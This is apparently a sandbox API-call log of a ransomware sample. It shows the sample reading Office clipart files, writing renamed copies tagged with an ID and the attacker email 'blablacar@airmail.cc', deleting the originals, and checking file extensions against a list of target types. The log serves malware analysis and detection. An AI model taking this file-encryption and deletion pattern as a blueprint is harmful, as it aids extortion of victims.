[0106.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0106.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.698] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.698] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.699] GetLastError () returned 0x0 [0106.699] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0106.701] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0106.702] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.703] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0106.703] SetEndOfFile (hFile=0x35c) returned 1 [0106.703] CloseHandle (hObject=0x35c) returned 1 [0106.705] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.705] SetEndOfFile (hFile=0x394) returned 1 [0106.706] CloseHandle (hObject=0x394) returned 1 [0106.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0106.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.707] lstrlenW (lpString=".doc") returned 4 [0106.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.707] lstrlenW (lpString=".docx") returned 5 [0106.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.708] lstrlenW (lpString=".pdf") returned 4 [0106.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString=".xls") returned 4 [0106.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.708] lstrlenW (lpString=".xlsx") returned 5 [0106.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.708] lstrlenW (lpString=".ppt") returned 4 [0106.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.708] lstrlenW (lpString=".zip") returned 4 [0106.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.708] lstrlenW (lpString=".rar") returned 4 [0106.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString=".bz2") returned 4 [0106.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString=".7z") returned 3 [0106.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.708] lstrlenW (lpString=".dbf") returned 4 [0106.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.708] lstrlenW (lpString=".1cd") returned 4 [0106.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.708] lstrlenW (lpString=".jpg") returned 4 [0106.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.709] lstrlenW (lpString=".doc") returned 4 [0106.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.709] lstrlenW (lpString=".docx") returned 5 [0106.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.709] lstrlenW (lpString=".pdf") returned 4 [0106.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.709] lstrlenW (lpString=".xls") returned 4 [0106.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.709] lstrlenW (lpString=".xlsx") returned 5 [0106.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.709] lstrlenW (lpString=".ppt") returned 4 [0106.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.709] lstrlenW (lpString=".zip") returned 4 [0106.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.709] lstrlenW (lpString=".rar") returned 4 [0106.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.709] lstrlenW (lpString=".bz2") returned 4 [0106.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.710] lstrlenW (lpString=".7z") returned 3 [0106.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.710] lstrlenW (lpString=".dbf") returned 4 [0106.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.710] lstrlenW (lpString=".1cd") returned 4 [0106.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0106.710] lstrlenW (lpString=".jpg") returned 4 [0106.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.710] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.710] lstrlenW (lpString="AN01251_.WMF") returned 12 [0106.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.711] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2756) returned 1 [0106.711] CloseHandle (hObject=0x394) returned 1 [0106.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0106.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.711] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.711] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.712] GetLastError () returned 0x0 [0106.712] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xac4, lpOverlapped=0x0) returned 1 [0106.713] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xad0, lpOverlapped=0x0) returned 1 [0106.715] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.715] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0106.715] SetEndOfFile (hFile=0x35c) returned 1 [0106.715] CloseHandle (hObject=0x35c) returned 1 [0106.716] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.716] SetEndOfFile (hFile=0x394) returned 1 [0106.717] CloseHandle (hObject=0x394) returned 1 [0106.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0106.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.718] lstrlenW (lpString=".doc") returned 4 [0106.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.718] lstrlenW (lpString=".docx") returned 5 [0106.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.718] lstrlenW (lpString=".pdf") returned 4 [0106.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.718] lstrlenW (lpString=".xls") returned 4 [0106.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.718] lstrlenW (lpString=".xlsx") returned 5 [0106.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.718] lstrlenW (lpString=".ppt") returned 4 [0106.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.718] lstrlenW (lpString=".zip") returned 4 [0106.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.719] lstrlenW (lpString=".rar") returned 4 [0106.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString=".bz2") returned 4 [0106.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString=".7z") returned 3 [0106.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.719] lstrlenW (lpString=".dbf") returned 4 [0106.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.719] lstrlenW (lpString=".1cd") returned 4 [0106.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.719] lstrlenW (lpString=".jpg") returned 4 [0106.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.719] lstrlenW (lpString=".doc") returned 4 [0106.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.719] lstrlenW (lpString=".docx") returned 5 [0106.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.719] lstrlenW (lpString=".pdf") returned 4 [0106.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString=".xls") returned 4 [0106.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.720] lstrlenW (lpString=".xlsx") returned 5 [0106.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.720] lstrlenW (lpString=".ppt") returned 4 [0106.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.720] lstrlenW (lpString=".zip") returned 4 [0106.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.720] lstrlenW (lpString=".rar") returned 4 [0106.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString=".bz2") returned 4 [0106.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString=".7z") returned 3 [0106.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.720] lstrlenW (lpString=".dbf") returned 4 [0106.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.720] lstrlenW (lpString=".1cd") returned 4 [0106.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0106.720] lstrlenW (lpString=".jpg") returned 4 [0106.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.721] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.721] lstrlenW (lpString="AN01545_.WMF") returned 12 [0106.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.721] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=7372) returned 1 [0106.721] CloseHandle (hObject=0x394) returned 1 [0106.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0106.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0106.722] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.722] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.722] GetLastError () returned 0x0 [0106.722] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0106.724] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0106.725] ReadFile (in: hFile=0x394, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.725] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0106.726] SetEndOfFile (hFile=0x35c) returned 1 [0106.726] CloseHandle (hObject=0x35c) returned 1 [0106.727] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.727] SetEndOfFile (hFile=0x394) returned 1 [0106.728] CloseHandle (hObject=0x394) returned 1 [0106.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0106.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.729] lstrlenW (lpString=".doc") returned 4 [0106.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.729] lstrlenW (lpString=".docx") returned 5 [0106.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.729] lstrlenW (lpString=".pdf") returned 4 [0106.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.729] lstrlenW (lpString=".xls") returned 4 [0106.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.729] lstrlenW (lpString=".xlsx") returned 5 [0106.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.729] lstrlenW (lpString=".ppt") returned 4 [0106.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.729] lstrlenW (lpString=".zip") returned 4 [0106.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.729] lstrlenW (lpString=".rar") returned 4 [0106.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.729] lstrlenW (lpString=".bz2") returned 4 [0106.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.729] lstrlenW (lpString=".7z") returned 3 [0106.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.730] lstrlenW (lpString=".dbf") returned 4 [0106.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.730] lstrlenW (lpString=".1cd") returned 4 [0106.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.730] lstrlenW (lpString=".jpg") returned 4 [0106.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.730] lstrlenW (lpString=".doc") returned 4 [0106.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.730] lstrlenW (lpString=".docx") returned 5 [0106.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.730] lstrlenW (lpString=".pdf") returned 4 [0106.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.730] lstrlenW (lpString=".xls") returned 4 [0106.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.730] lstrlenW (lpString=".xlsx") returned 5 [0106.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.730] lstrlenW (lpString=".ppt") returned 4 [0106.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.731] lstrlenW (lpString=".zip") returned 4 [0106.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.731] lstrlenW (lpString=".rar") returned 4 [0106.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.731] lstrlenW (lpString=".bz2") returned 4 [0106.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.731] lstrlenW (lpString=".7z") returned 3 [0106.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.731] lstrlenW (lpString=".dbf") returned 4 [0106.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.731] lstrlenW (lpString=".1cd") returned 4 [0106.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0106.731] lstrlenW (lpString=".jpg") returned 4 [0106.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.731] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.732] lstrlenW (lpString="AN02122_.WMF") returned 12 [0106.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.563] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=7540) returned 1 [0107.563] CloseHandle (hObject=0x368) returned 1 [0107.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0107.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 